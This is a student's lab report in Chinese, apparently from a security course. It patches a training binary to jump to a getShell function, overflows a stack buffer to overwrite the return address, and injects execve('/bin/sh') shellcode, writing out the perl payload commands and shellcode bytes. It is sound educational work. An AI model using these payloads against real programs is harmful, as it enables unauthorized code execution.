2020-2021-2 20181304石昊林《网络对抗技术》 Exp1 PC平台逆向破解

报告内容

一、掌握NOP、JNE、JE、JMP、CMP汇编指令的机器码

NOP:这个指令在汇编中的作用是空指令,意味着什么都不做的意思,一般用来控制CPU的时间周期,达到时钟延时的效果。它的汇编指令机器码为“0x90”。

JNE:一个条件转移指令,是“jump if not equal”当ZF=0,转至标号处执行。它的汇编指令机器码为“0x75”。

JE:也是一个跳转指令,是“jump if equal”的意思。它的汇编指令机器码为“0x74”。

JMP:无条件跳转。它的汇编指令机器码为“0xeb”(短跳转)、“0xe9”(近跳转)、“0xEA”(远跳转)。

CMP:比较指令。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。它的汇编指令机器码为“0x39”。

 

二、掌握反汇编与十六进制编程器

实验中使用objdump -d filename | more,解释如下:

objdump:Linux下的反汇编目标文件或者可执行文件的命令。

-d:反汇编。

|:管道符。

more:分页显示。

十六进制编程器:十六进制编辑器,用来以16进制视图进行文本编辑的编辑工具软件。十六进制编辑器可以用来检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等。linux中安装十六进制编程器方法:apt-get install wxhexeditor。

 在linux中输入“:%!xxd”将文件改为十六进制显示;输入“%!xxd -r”将文件改回原来的格式。
 
三、能正确修改机器指令改变程序执行流程
由下面实践任务一实现。
 
四、能正确构造payload进行bof攻击
由下面实践任务三实现。
 
 
实践内容
一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 学习目标:理解可执行文件与机器指令

  • 进阶:掌握ELF文件格式,掌握动态

下载目标文件pwn1,对文件进行反汇编:objdump -d pwn1 | more。

 观察上图:main函数中,call 8048491 <foo>是汇编指令,意思是这条指令将调用位于地址8048491处的foo函数。它对应的机器指令为:e8 d7 ff ff ff。

“e8”为跳转之意,“d7 ff ff ff”是要跳转的地址。执行到这条call指令时,正常的流程是CPU执行“EIP+d7ffffff”处的指令,d7ffffff是补码,所以80484ba+d7ffffff=80484ba-0x29=8048491,而foo函数的首地址即为“8048491”。

要使其跳转到getShell函数,就要修改要跳转的地址,修改为“getShell-80484ba”对应的补码即可,通过计算得出对应的补码为“c3ffffff”。

接下来修改pwn1更改程序流程。使用vi编辑器打开pwn1文件,按esc后输入“:%!xxd”,将乱码显示为十六进制形式;然后输入/e8 d7 ff ff ff定位要修改的地址,然后将“d7 ff ff ff”修改为“c3 ff ff ff”;最后输入“:%!xxd -r”将文件还原到原来的格式。

 再次对pwn1进行反汇编,确定修改的结果

接下来运行pwn1,可见pwn1启动了shell,成功改变了程序执行流程,使其跳转到了getShell。

 

二、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

分析:当main函数调用foo函数时,会产生一个call的机器指令,而call指令实际上分成两步执行-——先将eip压入栈中,然后再进行跳转。eip中保存的是call指令下一条指令的地址,当调用结束后,程序通过这个地址进行返回(即为返回地址)。

如何造成缓冲区溢出:当程序调用时,会形成自己的栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。

接下来逐步实现实践二:

1.对pwn2进行反汇编,分析foo函数功能。

 从上图可以看出程序为foo函数留出的“0x1c”(28字节)的缓冲区。main函数的eip寄存器中装入的返回地址是“080484ba”,我们的目的是输入足够长的字符串,使其覆盖“080484ba”,这样正常执行foo函数结束后,会执行覆盖了的地址。

 

2.对pwn2进行gdb调试。

输入“r”运行。输入的字符串为:1111111122222222333333334444444412345678。

 输入完成后再输入“info r”观察各寄存器的值。

可以看出,此时eip寄存器的值为34333231,即我们输入字符串中“1234”对应的十六进制的值。这说明被字符串的第33-36字节所覆盖。

 

3.构造输入字符串

getShell的地址为“0804847d”,所以输入的字符串应该为:11111111222222223333333344444444\x7d\x84\x48\x08。

由于键盘无法直接输入十六进制,所以我们需要先生成包括这样字符串的一个input文件。注意要在输入字符串最后加一个“\x0a”表示回车。

输入命令:“perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input”。然后输入“xxd input”,检查文件是否符合预期。

 

 4.以input为输入运行文件

输入(cat input; cat) | ./pwn2,将input的内容通过管道符“|”作为pwn2的输入。

 可见程序执行了getShell处的函数,改变了程序执行顺序。

 

三、注入一个自己制作的shellcode并运行这段shellcode。

本次实验我使用的shellcode为:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

有两种构造攻击buf的方法:①retaddr+nops+shellcode②nops+shellcode+retaddr

nops是空指令,机器码为“0x90”,什么也不做,直接进行下一个指令,只要程序执行到了任意一个nops空间里的nop指令,都会滑行到我们希望系统执行的shellcode。

1.准备工作

关闭堆栈保护,设置堆栈可执行,并且关闭地址随机化,方便确定shellcode的地址

 

 2.构造要注入的payload

本次实验我使用的构造结构是:nops+shellcode+retaddr。

使用命令:

perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

注入,其中前面32个A用来填满缓冲区buf,“\x04\x03\x02\x01”为预留的返回地址retaddr:

接下来要确定“\x04\x03\x02\x01”到底该填什么:

打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn1

再开另外一个终端,用gdb来调试pwn1这个进程:

  ①用ps -ef | grep pwn1命令找到pwn1的进程号是:14161:

  ②用gdbattach 14161命令启动gdb调试这个进程:

  ③用disassemble foo命令反汇编,通过设置断点,来查看注入buf的内存地址:

  ④用break *0x080484ae命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址:

  ⑤用x/16x 0xffffd1ec命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd1f0

  ⑥接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命令:

perl -e 'print "A" x 32;print "\xf0\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  ⑦再用(cat input_shellcode;cat) | ./pwn1命令次执行程序,攻击成功!如下图:

 

 

实验感想

在解决问题的途中我学到了很多。一开始按老师要求更改主机名,步骤为sudo vim /etc/hostname。在更改主机名之后,我发现无法安装execstack,经过网络查找发现需要安装prelink,但是在安装时始终报什么无法解析域名的错误。然后再次网上寻找解决办法,发现还需要更改/etc/hosts,因为我之前把主机名改了。。。

在做实践三时,一开始我对整个攻击流程没有一个清楚的认识,导致绕了很多弯路。在与同学讨论后,我发现了自己在实验上存在许多问题(比如在另一个终端没有运行进程,就在当前终端查找进程这种低级失误),吸收教训后顺利实现了这个实验。

之前在娄老师的课上接触过缓冲区溢出的相关知识,在理解eip、esp寄存器时获取了捷径,但是并未像本实验一样实现一次攻击。通过本次实验,我对溢出攻击有了更加深刻的了解,还理解了BOF原理,学会了怎么运行原本不可访问的代码片段、强行修改程序执行流以及注入运行任意代码。总的来说收获蛮多。

posted @ 2021-03-10 21:53  shihaolin  阅读(192)  评论(0编辑  收藏  举报